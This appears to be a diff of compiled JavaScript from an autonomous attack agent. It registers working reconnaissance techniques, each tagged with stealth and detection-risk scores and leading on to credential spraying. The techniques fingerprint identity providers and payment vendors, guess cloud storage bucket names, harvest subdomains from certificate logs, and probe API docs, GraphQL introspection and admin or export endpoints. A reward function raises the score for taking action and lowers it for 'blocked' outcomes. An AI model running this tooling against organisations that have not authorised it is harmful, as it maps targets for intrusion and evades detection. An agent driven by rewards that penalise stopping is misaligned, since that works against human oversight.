|
2585
|
+
];
|
|
2586
|
+
for (const endpoint of ssoEndpoints) {
|
|
2587
|
+
try {
|
|
2588
|
+
const probe = await httpProbe(`https://${target}${endpoint}`, 3000);
|
|
2589
|
+
if (probe.status < 400 || probe.status === 401) {
|
|
2590
|
+
artifacts.push({ type: 'sso_endpoint', data: `${endpoint} (${probe.status})` });
|
|
2591
|
+
}
|
|
2592
|
+
}
|
|
2593
|
+
catch { /* ignore */ }
|
|
2594
|
+
}
|
|
2595
|
+
// Identify IdP from login page
|
|
2596
|
+
try {
|
|
2597
|
+
const { stdout } = await execAsync(`curl -sL https://${target}/login --connect-timeout 5 | grep -oiE '(okta|auth0|onelogin|ping|azure|google|facebook|github|linkedin|saml|oauth)' | sort -u`, { timeout: 15000 });
|
|
2598
|
+
if (stdout.trim()) {
|
|
2599
|
+
const idps = [...new Set(stdout.trim().split('\n'))];
|
|
2600
|
+
artifacts.push({ type: 'identity_providers', data: idps.join(', ') });
|
|
2601
|
+
}
|
|
2602
|
+
}
|
|
2603
|
+
catch { /* ignore */ }
|
|
2604
|
+
// Check for common tracking/analytics
|
|
2605
|
+
try {
|
|
2606
|
+
const { stdout } = await execAsync(`curl -sL https://${target} --connect-timeout 5 | grep -oiE '(google-analytics|gtag|gtm|segment|mixpanel|amplitude|heap|hotjar|fullstory|intercom|drift|zendesk|freshchat)' | sort -u`, { timeout: 15000 });
|
|
2607
|
+
if (stdout.trim()) {
|
|
2608
|
+
const analytics = [...new Set(stdout.trim().split('\n'))];
|
|
2609
|
+
artifacts.push({ type: 'analytics_tracking', data: analytics.join(', ') });
|
|
2610
|
+
}
|
|
2611
|
+
}
|
|
2612
|
+
catch { /* ignore */ }
|
|
2613
|
+
// Payment/commerce detection
|
|
2614
|
+
try {
|
|
2615
|
+
const { stdout } = await execAsync(`curl -sL https://${target} --connect-timeout 5 | grep -oiE '(stripe|braintree|paypal|square|adyen|shopify|bigcommerce|woocommerce|magento)' | sort -u`, { timeout: 15000 });
|
|
2616
|
+
if (stdout.trim()) {
|
|
2617
|
+
const payments = [...new Set(stdout.trim().split('\n'))];
|
|
2618
|
+
artifacts.push({ type: 'payment_commerce', data: payments.join(', ') });
|
|
2619
|
+
}
|
|
2620
|
+
}
|
|
2621
|
+
catch { /* ignore */ }
|
|
2622
|
+
return { success: artifacts.length > 0, output: { business_sw: artifacts.length }, artifacts, nextTechniques: ['saas_enum', 'api_discovery'], detectionRisk: 0.2, duration: Date.now() - start };
|
|
2623
|
+
},
|
|
2624
|
+
});
|
|
2625
|
+
// SaaS & Cloud Service Deep Enumeration
|
|
2626
|
+
techniqueRegistry.register({
|
|
2627
|
+
id: 'saas_enum',
|
|
2628
|
+
name: 'SaaS & Cloud Service Enumeration',
|
|
2629
|
+
category: 'recon',
|
|
2630
|
+
phase: 'reconnaissance',
|
|
2631
|
+
prerequisites: [],
|
|
2632
|
+
conflictsWith: [],
|
|
2633
|
+
stealthRating: 0.75,
|
|
2634
|
+
successBaseline: 0.85,
|
|
2635
|
+
timeEstimate: 120000,
|
|
2636
|
+
execute: async (params) => {
|
|
2637
|
+
const start = Date.now();
|
|
2638
|
+
const target = params.target;
|
|
2639
|
+
const baseDomain = target.replace(/^www\./, '');
|
|
2640
|
+
const orgName = baseDomain.split('.')[0];
|
|
2641
|
+
const artifacts = [];
|
|
2642
|
+
// Google Workspace detection
|
|
2643
|
+
try {
|
|
2644
|
+
const mx = await dns.resolveMx(baseDomain);
|
|
2645
|
+
if (mx.some(r => r.exchange.includes('google'))) {
|
|
2646
|
+
artifacts.push({ type: 'google_workspace', data: 'Google Workspace (Gmail)' });
|
|
2647
|
+
// Check for additional Google services
|
|
2648
|
+
const googleServices = [
|
|
2649
|
+
{ name: 'Drive', host: `drive.google.com` },
|
|
2650
|
+
{ name: 'Calendar', host: `calendar.google.com` },
|
|
2651
|
+
{ name: 'Meet', host: `meet.google.com` },
|
|
2652
|
+
{ name: 'Chat', host: `chat.google.com` },
|
|
2653
|
+
];
|
|
2654
|
+
for (const svc of googleServices) {
|
|
2655
|
+
artifacts.push({ type: 'google_service', data: svc.name });
|
|
2656
|
+
}
|
|
2657
|
+
}
|
|
2658
|
+
}
|
|
2659
|
+
catch { /* ignore */ }
|
|
2660
|
+
// Microsoft 365 detection
|
|
2661
|
+
try {
|
|
2662
|
+
const mx = await dns.resolveMx(baseDomain);
|
|
2663
|
+
if (mx.some(r => r.exchange.includes('outlook') || r.exchange.includes('microsoft'))) {
|
|
2664
|
+
artifacts.push({ type: 'microsoft_365', data: 'Microsoft 365' });
|
|
2665
|
+
// Check autodiscover
|
|
2666
|
+
try {
|
|
2667
|
+
await dns.resolve4(`autodiscover.${baseDomain}`);
|
|
2668
|
+
artifacts.push({ type: 'ms_autodiscover', data: 'Exchange Autodiscover enabled' });
|
|
2669
|
+
}
|
|
2670
|
+
catch { /* ignore */ }
|
|
2671
|
+
}
|
|
2672
|
+
}
|
|
2673
|
+
catch { /* ignore */ }
|
|
2674
|
+
// AWS service detection
|
|
2675
|
+
try {
|
|
2676
|
+
const { stdout } = await execAsync(`dig +short ${target} 2>/dev/null`, { timeout: 5000 });
|
|
2677
|
+
if (stdout.includes('amazonaws.com') || stdout.includes('aws')) {
|
|
2678
|
+
artifacts.push({ type: 'aws_hosted', data: 'AWS Infrastructure' });
|
|
2679
|
+
}
|
|
2680
|
+
// Check for S3 buckets
|
|
2681
|
+
const s3Patterns = [`${orgName}`, `${orgName}-prod`, `${orgName}-dev`, `${orgName}-staging`, `${orgName}-backup`, `${orgName}-assets`, `${orgName}-static`];
|
|
2682
|
+
for (const bucket of s3Patterns) {
|
|
2683
|
+
try {
|
|
2684
|
+
const probe = await httpProbe(`https://${bucket}.s3.amazonaws.com`, 3000);
|
|
2685
|
+
if (probe.status !== 404)
|
|
2686
|
+
artifacts.push({ type: 's3_bucket', data: `${bucket} (${probe.status})` });
|
|
2687
|
+
}
|
|
2688
|
+
catch { /* ignore */ }
|
|
2689
|
+
}
|
|
2690
|
+
}
|
|
2691
|
+
catch { /* ignore */ }
|
|
2692
|
+
// GCP service detection
|
|
2693
|
+
try {
|
|
2694
|
+
const { stdout } = await execAsync(`dig +short ${target} 2>/dev/null`, { timeout: 5000 });
|
|
2695
|
+
if (stdout.includes('google') || stdout.includes('gcp')) {
|
|
2696
|
+
artifacts.push({ type: 'gcp_hosted', data: 'Google Cloud Infrastructure' });
|
|
2697
|
+
}
|
|
2698
|
+
// Check for GCS buckets
|
|
2699
|
+
const gcsPatterns = [`${orgName}`, `${orgName}-prod`, `${orgName}-public`];
|
|
2700
|
+
for (const bucket of gcsPatterns) {
|
|
2701
|
+
try {
|
|
2702
|
+
const probe = await httpProbe(`https://storage.googleapis.com/${bucket}`, 3000);
|
|
2703
|
+
if (probe.status !== 404)
|
|
2704
|
+
artifacts.push({ type: 'gcs_bucket', data: `${bucket} (${probe.status})` });
|
|
2705
|
+
}
|
|
2706
|
+
catch { /* ignore */ }
|
|
2707
|
+
}
|
|
2708
|
+
}
|
|
2709
|
+
catch { /* ignore */ }
|
|
2710
|
+
// Azure service detection
|
|
2711
|
+
try {
|
|
2712
|
+
const azurePatterns = [
|
|
2713
|
+
`${orgName}.blob.core.windows.net`,
|
|
2714
|
+
`${orgName}.azurewebsites.net`,
|
|
2715
|
+
`${orgName}.azure-api.net`,
|
|
2716
|
+
];
|
|
2717
|
+
for (const pattern of azurePatterns) {
|
|
2718
|
+
try {
|
|
2719
|
+
await dns.resolve4(pattern);
|
|
2720
|
+
artifacts.push({ type: 'azure_service', data: pattern });
|
|
2721
|
+
}
|
|
2722
|
+
catch { /* ignore */ }
|
|
2723
|
+
}
|
|
2724
|
+
}
|
|
2725
|
+
catch { /* ignore */ }
|
|
2726
|
+
// GitHub/GitLab detection
|
|
2727
|
+
try {
|
|
2728
|
+
const probe = await httpProbe(`https://github.com/${orgName}`, 3000);
|
|
2729
|
+
if (probe.status === 200)
|
|
2730
|
+
artifacts.push({ type: 'github_org', data: `github.com/${orgName}` });
|
|
2731
|
+
}
|
|
2732
|
+
catch { /* ignore */ }
|
|
2733
|
+
try {
|
|
2734
|
+
const probe = await httpProbe(`https://gitlab.com/${orgName}`, 3000);
|
|
2735
|
+
if (probe.status === 200)
|
|
2736
|
+
artifacts.push({ type: 'gitlab_org', data: `gitlab.com/${orgName}` });
|
|
2737
|
+
}
|
|
2738
|
+
catch { /* ignore */ }
|
|
2739
|
+
return { success: artifacts.length > 0, output: { saas_services: artifacts.length }, artifacts, nextTechniques: ['api_discovery', 'cloud_enum'], detectionRisk: 0.2, duration: Date.now() - start };
|
|
2740
|
+
},
|
|
2741
|
+
});
|
|
2742
|
+
// Full Domain Intelligence
|
|
2743
|
+
techniqueRegistry.register({
|
|
2744
|
+
id: 'domain_intel',
|
|
2745
|
+
name: 'Full Domain Intelligence',
|
|
2746
|
+
category: 'recon',
|
|
2747
|
+
phase: 'reconnaissance',
|
|
2748
|
+
prerequisites: [],
|
|
2749
|
+
conflictsWith: [],
|
|
2750
|
+
stealthRating: 0.9,
|
|
2751
|
+
successBaseline: 0.95,
|
|
2752
|
+
timeEstimate: 180000,
|
|
2753
|
+
execute: async (params) => {
|
|
2754
|
+
const start = Date.now();
|
|
2755
|
+
const target = params.target;
|
|
2756
|
+
const baseDomain = target.replace(/^www\./, '');
|
|
2757
|
+
const artifacts = [];
|
|
2758
|
+
// All DNS record types
|
|
2759
|
+
const recordTypes = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA', 'CNAME'];
|
|
2760
|
+
for (const type of recordTypes) {
|
|
2761
|
+
try {
|
|
2762
|
+
let records;
|
|
2763
|
+
switch (type) {
|
|
2764
|
+
case 'A':
|
|
2765
|
+
records = await dns.resolve4(baseDomain);
|
|
2766
|
+
break;
|
|
2767
|
+
case 'AAAA':
|
|
2768
|
+
records = await dns.resolve6(baseDomain);
|
|
2769
|
+
break;
|
|
2770
|
+
case 'MX':
|
|
2771
|
+
records = (await dns.resolveMx(baseDomain)).map(r => `${r.exchange} (${r.priority})`);
|
|
2772
|
+
break;
|
|
2773
|
+
case 'NS':
|
|
2774
|
+
records = await dns.resolveNs(baseDomain);
|
|
2775
|
+
break;
|
|
2776
|
+
case 'TXT':
|
|
2777
|
+
records = (await dns.resolveTxt(baseDomain)).map(r => r.join(''));
|
|
2778
|
+
break;
|
|
2779
|
+
case 'SOA':
|
|
2780
|
+
const soa = await dns.resolveSoa(baseDomain);
|
|
2781
|
+
records = [`${soa.nsname} ${soa.hostmaster}`];
|
|
2782
|
+
break;
|
|
2783
|
+
case 'CNAME':
|
|
2784
|
+
records = await dns.resolveCname(baseDomain);
|
|
2785
|
+
break;
|
|
2786
|
+
default: records = [];
|
|
2787
|
+
}
|
|
2788
|
+
for (const record of records.slice(0, 5)) {
|
|
2789
|
+
artifacts.push({ type: `dns_${type.toLowerCase()}`, data: record.slice(0, 200) });
|
|
2790
|
+
}
|
|
2791
|
+
}
|
|
2792
|
+
catch { /* record type not found */ }
|
|
2793
|
+
}
|
|
2794
|
+
// WHOIS data
|
|
2795
|
+
try {
|
|
2796
|
+
const { stdout } = await execAsync(`whois ${baseDomain} 2>/dev/null | grep -iE "registrar|creation|expir|name server|registrant|admin|tech" | head -20`, { timeout: 15000 });
|
|
2797
|
+
if (stdout.trim()) {
|
|
2798
|
+
const lines = stdout.split('\n').filter(l => l.trim());
|
|
2799
|
+
for (const line of lines.slice(0, 10)) {
|
|
2800
|
+
artifacts.push({ type: 'whois', data: line.trim() });
|
|
2801
|
+
}
|
|
2802
|
+
}
|
|
2803
|
+
}
|
|
2804
|
+
catch { /* ignore */ }
|
|
2805
|
+
// ASN information
|
|
2806
|
+
try {
|
|
2807
|
+
const ips = await dns.resolve4(baseDomain);
|
|
2808
|
+
if (ips[0]) {
|
|
2809
|
+
const reversed = ips[0].split('.').reverse().join('.');
|
|
2810
|
+
const txt = await dns.resolveTxt(`${reversed}.origin.asn.cymru.com`);
|
|
2811
|
+
if (txt[0])
|
|
2812
|
+
artifacts.push({ type: 'asn_info', data: txt[0].join(' ') });
|
|
2813
|
+
}
|
|
2814
|
+
}
|
|
2815
|
+
catch { /* ignore */ }
|
|
2816
|
+
// Historical DNS (passive DNS simulation via CT logs)
|
|
2817
|
+
try {
|
|
2818
|
+
const { stdout } = await execAsync(`curl -s "https://crt.sh/?q=%.${baseDomain}&output=json" --connect-timeout 10 | grep -oE '"name_value":"[^"]+' | cut -d'"' -f4 | sort -u | head -30`, { timeout: 20000 });
|
|
2819
|
+
if (stdout.trim()) {
|
|
2820
|
+
const subdomains = stdout.split('\n').filter(s => s.trim());
|
|
2821
|
+
artifacts.push({ type: 'ct_subdomains', data: `${subdomains.length} subdomains from CT logs` });
|
|
2822
|
+
for (const sub of subdomains.slice(0, 15)) {
|
|
2823
|
+
artifacts.push({ type: 'historical_subdomain', data: sub });
|
|
2824
|
+
}
|
|
2825
|
+
}
|
|
2826
|
+
}
|
|
2827
|
+
catch { /* ignore */ }
|
|
2828
|
+
return { success: artifacts.length > 0, output: { domain_intel: artifacts.length }, artifacts, nextTechniques: ['corp_enum', 'stack_fingerprint'], detectionRisk: 0.1, duration: Date.now() - start };
|
|
2829
|
+
},
|
|
2830
|
+
});
|
|
2831
|
+
// API Surface Mapping
|
|
2832
|
+
techniqueRegistry.register({
|
|
2833
|
+
id: 'api_surface_map',
|
|
2834
|
+
name: 'API Surface Mapping',
|
|
2835
|
+
category: 'enumeration',
|
|
2836
|
+
phase: 'weaponization',
|
|
2837
|
+
prerequisites: [],
|
|
2838
|
+
conflictsWith: [],
|
|
2839
|
+
stealthRating: 0.6,
|
|
2840
|
+
successBaseline: 0.8,
|
|
2841
|
+
timeEstimate: 120000,
|
|
2842
|
+
execute: async (params) => {
|
|
2843
|
+
const start = Date.now();
|
|
2844
|
+
const target = params.target;
|
|
2845
|
+
const artifacts = [];
|
|
2846
|
+
const url = `https://${target}`;
|
|
2847
|
+
// OpenAPI/Swagger discovery
|
|
2848
|
+
const apiDocPaths = [
|
|
2849
|
+
'/swagger.json', '/swagger.yaml', '/swagger/v1/swagger.json',
|
|
2850
|
+
'/openapi.json', '/openapi.yaml', '/openapi/v1.json',
|
|
2851
|
+
'/api-docs', '/api-docs.json', '/v1/api-docs', '/v2/api-docs', '/v3/api-docs',
|
|
2852
|
+
'/docs', '/redoc', '/api/docs', '/api/swagger',
|
|
2853
|
+
'/.well-known/openapi.json',
|
|
2854
|
+
];
|
|
2855
|
+
for (const path of apiDocPaths) {
|
|
2856
|
+
try {
|
|
2857
|
+
const probe = await httpProbe(`${url}${path}`, 5000);
|
|
2858
|
+
if (probe.status === 200) {
|
|
2859
|
+
artifacts.push({ type: 'api_docs', data: path });
|
|
2860
|
+
// Try to fetch and parse
|
|
2861
|
+
try {
|
|
2862
|
+
const { stdout } = await execAsync(`curl -sL "${url}${path}" --connect-timeout 5 | head -c 1000`, { timeout: 10000 });
|
|
2863
|
+
if (stdout.includes('"paths"') || stdout.includes('swagger') || stdout.includes('openapi')) {
|
|
2864
|
+
const paths = stdout.match(/"\/[^"]+"/g) || [];
|
|
2865
|
+
artifacts.push({ type: 'api_endpoints_found', data: `${paths.length} endpoints in spec` });
|
|
2866
|
+
}
|
|
2867
|
+
}
|
|
2868
|
+
catch { /* ignore */ }
|
|
2869
|
+
}
|
|
2870
|
+
}
|
|
2871
|
+
catch { /* ignore */ }
|
|
2872
|
+
}
|
|
2873
|
+
// GraphQL introspection
|
|
2874
|
+
try {
|
|
2875
|
+
const { stdout } = await execAsync(`curl -sL "${url}/graphql" -H "Content-Type: application/json" -d '{"query":"{ __schema { types { name } } }"}' --connect-timeout 5 | head -c 500`, { timeout: 10000 });
|
|
2876
|
+
if (stdout.includes('__schema') || stdout.includes('types')) {
|
|
2877
|
+
artifacts.push({ type: 'graphql', data: 'GraphQL introspection enabled' });
|
|
2878
|
+
}
|
|
2879
|
+
}
|
|
2880
|
+
catch { /* ignore */ }
|
|
2881
|
+
// REST API version enumeration
|
|
2882
|
+
const apiVersions = ['/api', '/api/v1', '/api/v2', '/api/v3', '/v1', '/v2', '/v3', '/rest', '/rest/v1'];
|
|
2883
|
+
for (const ver of apiVersions) {
|
|
2884
|
+
try {
|
|
2885
|
+
const probe = await httpProbe(`${url}${ver}`, 3000);
|
|
2886
|
+
if (probe.status < 400 || probe.status === 401 || probe.status === 403) {
|
|
2887
|
+
artifacts.push({ type: 'api_version', data: `${ver} (${probe.status})` });
|
|
2888
|
+
}
|
|
2889
|
+
}
|
|
2890
|
+
catch { /* ignore */ }
|
|
2891
|
+
}
|
|
2892
|
+
// Common API endpoints
|
|
2893
|
+
const commonEndpoints = [
|
|
2894
|
+
'/api/users', '/api/user', '/api/me', '/api/profile',
|
|
2895
|
+
'/api/auth', '/api/login', '/api/token', '/api/oauth',
|
|
2896
|
+
'/api/health', '/api/status', '/api/info', '/api/version',
|
|
2897
|
+
'/api/config', '/api/settings', '/api/admin',
|
|
2898
|
+
'/api/data', '/api/export', '/api/import',
|
|
2899
|
+
'/api/search', '/api/query', '/api/filter',
|
|
2900
|
+
'/api/upload', '/api/download', '/api/files',
|
|
2901
|
+
'/api/webhooks', '/api/callbacks', '/api/events',
|
|
2902
|
+
];
|
|
2903
|
+
for (const endpoint of commonEndpoints) {
|
|
2904
|
+
try {
|
|
2905
|
+
const probe = await httpProbe(`${url}${endpoint}`, 3000);
|
|
2906
|
+
if (probe.status < 500 && probe.status !== 404) {
|
|
2907
|
+
artifacts.push({ type: 'api_endpoint', data: `${endpoint} (${probe.status})` });
|
|
2908
|
+
}
|
|
2909
|
+
}
|
|
2910
|
+
catch { /* ignore */ }
|
|
2911
|
+
}
|
|
2912
|
+
return { success: artifacts.length > 0, output: { api_surface: artifacts.length }, artifacts, nextTechniques: ['credential_spray', 'vuln_scan'], detectionRisk: 0.35, duration: Date.now() - start };
|
|
2913
|
+
},
|
|
2914
|
+
});
|
|
2915
|
+
}
|
|
2916
|
+
// Initialize on module load
|
|
2917
|
+
registerCoreTechniques();
|
|
2918
|
+
registerExtendedTechniques();
|
|
2919
|
+
registerCloudTechniques();
|
|
2920
|
+
registerEnterpriseReconTechniques();
|
|
2921
|
+
const dualBanditState = {
|
|
2922
|
+
rewards: [],
|
|
2923
|
+
actionCounts: new Map([
|
|
2924
|
+
['primary', 0],
|
|
2925
|
+
['refine', 0],
|
|
2926
|
+
]),
|
|
2927
|
+
qValues: new Map([
|
|
2928
|
+
['primary', 0],
|
|
2929
|
+
['refine', 0],
|
|
2930
|
+
]),
|
|
2931
|
+
};
|
|
2932
|
+
export function scoreOutcome(result) {
|
|
2933
|
+
let reward = 0;
|
|
2934
|
+
if (result.exitReason === 'complete') {
|
|
2935
|
+
reward += 0.6;
|
|
2936
|
+
}
|
|
2937
|
+
else if (result.exitReason === 'verification-needed') {
|
|
2938
|
+
reward += 0.3;
|
|
2939
|
+
}
|
|
2940
|
+
else if (result.exitReason === 'incomplete') {
|
|
2941
|
+
reward -= 0.1;
|
|
2942
|
+
}
|
|
2943
|
+
else if (result.exitReason === 'empty-response' || result.exitReason === 'blocked') {
|
|
2944
|
+
reward -= 0.4;
|
|
2945
|
+
}
|
|
2946
|
+
else if (result.exitReason === 'no-action') {
|
|
2947
|
+
reward -= 0.3;
|
|
2948
|
+
}
|
|
2949
|
+
if (result.tookAction) {
|
|
2950
|
+
reward += 0.2;
|
|
2951
|
+
}
|
|
2952
|
+
if (result.planOnly) {
|
|
2953
|
+
reward -= 0.1;
|
|
2954
|
+
}
|
|
2955
|
+
if (result.toolsUsed.length === 0) {
|
|
2956
|
+
reward -= 0.05;
|
|
2957
|
+
}
|
|
2958
|
+
return Math.max(-1, Math.min(1, reward));
|
|
2959
|
+
}
|
|
2960
|
+
function updateQValue(action, reward) {
|
|
2961
|
+
const count = (dualBanditState.actionCounts.get(action) ?? 0) + 1;
|
|
2962
|
+
const previous = dualBanditState.qValues.get(action) ?? 0;
|
|
2963
|
+
const updated = previous + (reward - previous) / count;
|
|
2964
|
+
dualBanditState.actionCounts.set(action, count);
|
|
2965
|
+
dualBanditState.qValues.set(action, updated);
|
|
2966
|
+
}
|
|
2967
|
+
export function recordDualOutcome(primaryReward, refineReward, chosen) {
|
|
2968
|
+
const chosenReward = chosen === 'refine' ? refineReward : primaryReward;
|
|
2969
|
+
updateQValue('primary', primaryReward);
|
|
2970
|
+
updateQValue('refine', refineReward);
|
|
2971
|
+
dualBanditState.rewards.push(chosenReward);
|
|
2972
|
+
if (dualBanditState.rewards.length > 500) {
|
|
2973
|
+
dualBanditState.rewards.shift();
|
|
2974
|
+
}
|
|
2975
|
+
const avgReward = dualBanditState.rewards.length === 0
|
|
2976
|
+
? 0
|
|
2977
|
+
: dualBanditState.rewards.reduce((a, b) => a + b, 0) / dualBanditState.rewards.length;
|
|
2978
|
+
return {
|
|
2979
|
+
avgReward,
|
|
2980
|
+
primaryReward,
|
|
2981
|
+
refineReward,
|
|
2982
|
+
chosen,
|
|
2983
|
+
historySize: dualBanditState.rewards.length,
|
|
2984
|
+
};
|
|
2985
|
+
}
|
|
2986
|
+
export function getDualPolicySnapshot() {
|
|
2987
|
+
return {
|
|
2988
|
+
actionAverages: {
|
|
2989
|
+
primary: dualBanditState.qValues.get('primary') ?? 0,
|
|
2990
|
+
refine: dualBanditState.qValues.get('refine') ?? 0,
|
|
2991
|
+
},
|
|
2992
|
+
counts: {
|
|
2993
|
+
primary: dualBanditState.actionCounts.get('primary') ?? 0,
|
|
2994
|
+
refine: dualBanditState.actionCounts.get('refine') ?? 0,
|
|
2995
|
+
},
|
|
2996
|
+
};
|
|
2997
|
+
}
|
|
2998
|
+
//# sourceMappingURL=rl.js.map
|